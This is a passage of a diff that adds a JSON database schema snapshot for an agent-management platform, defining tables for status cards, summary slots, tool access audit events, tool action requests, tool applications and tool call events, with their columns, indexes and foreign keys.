+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_cards_company_next_eval_idx": {
+          "name": "status_cards_company_next_eval_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_eval_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_cards_company_id_companies_id_fk": {
+          "name": "status_cards_company_id_companies_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_cards_created_by_agent_id_agents_id_fk": {
+          "name": "status_cards_created_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_query_compiled_by_agent_id_agents_id_fk": {
+          "name": "status_cards_query_compiled_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "query_compiled_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_agent_id_agents_id_fk": {
+          "name": "status_cards_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_document_id_documents_id_fk": {
+          "name": "status_cards_document_id_documents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_generating_issue_id_issues_id_fk": {
+          "name": "status_cards_generating_issue_id_issues_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_archived_by_agent_id_agents_id_fk": {
+          "name": "status_cards_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.summary_slots": {
+      "name": "summary_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_by_agent_id": {
+          "name": "last_generated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "summary_slots_document_uq": {
+          "name": "summary_slots_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_scope_idx": {
+          "name": "summary_slots_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_generating_issue_idx": {
+          "name": "summary_slots_company_generating_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "generating_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_updated_idx": {
+          "name": "summary_slots_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "summary_slots_company_id_companies_id_fk": {
+          "name": "summary_slots_company_id_companies_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "summary_slots_document_id_documents_id_fk": {
+          "name": "summary_slots_document_id_documents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_generating_issue_id_issues_id_fk": {
+          "name": "summary_slots_generating_issue_id_issues_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_last_generated_by_agent_id_agents_id_fk": {
+          "name": "summary_slots_last_generated_by_agent_id_agents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "last_generated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "summary_slots_company_scope_slot_uq": {
+          "name": "summary_slots_company_scope_slot_uq",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "scope_kind",
+            "scope_id",
+            "slot_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_access_audit_events": {
+      "name": "tool_access_audit_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_access_audit_company_created_idx": {
+          "name": "tool_access_audit_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_connection_idx": {
+          "name": "tool_access_audit_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_gateway_idx": {
+          "name": "tool_access_audit_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_access_audit_events_company_id_companies_id_fk": {
+          "name": "tool_access_audit_events_company_id_companies_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_access_audit_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_action_requests": {
+      "name": "tool_action_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "canonical_arguments_hash": {
+          "name": "canonical_arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "canonical_arguments_summary": {
+          "name": "canonical_arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "signed_arguments": {
+          "name": "signed_arguments",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "preview_markdown": {
+          "name": "preview_markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_agent_id": {
+          "name": "decided_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_action_requests_company_status_idx": {
+          "name": "tool_action_requests_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_invocation_idx": {
+          "name": "tool_action_requests_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_issue_idx": {
+          "name": "tool_action_requests_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_action_requests_company_id_companies_id_fk": {
+          "name": "tool_action_requests_company_id_companies_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_action_requests_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_issue_id_issues_id_fk": {
+          "name": "tool_action_requests_issue_id_issues_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_approval_id_approvals_id_fk": {
+          "name": "tool_action_requests_approval_id_approvals_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_requested_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_resolved_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_decided_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_decided_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "decided_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_applications": {
+      "name": "tool_applications",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_applications_company_idx": {
+          "name": "tool_applications_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_status_idx": {
+          "name": "tool_applications_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_name_uq": {
+          "name": "tool_applications_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_key_uq": {
+          "name": "tool_applications_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_applications_company_id_companies_id_fk": {
+          "name": "tool_applications_company_id_companies_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_applications_plugin_id_plugins_id_fk": {
+          "name": "tool_applications_plugin_id_plugins_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_applications_owner_agent_id_agents_id_fk": {
+          "name": "tool_applications_owner_agent_id_agents_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_call_events": {
+      "name": "tool_call_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action_request_id": {
+          "name": "action_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_slot_id": {
+          "name": "runtime_slot_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "latency_ms": {
+          "name": "latency_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_hash": {
+          "name": "request_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_summary": {
+          "name": "request_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_plan": {
+          "name": "redaction_plan",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rate_limit_state": {
+          "name": "rate_limit_state",
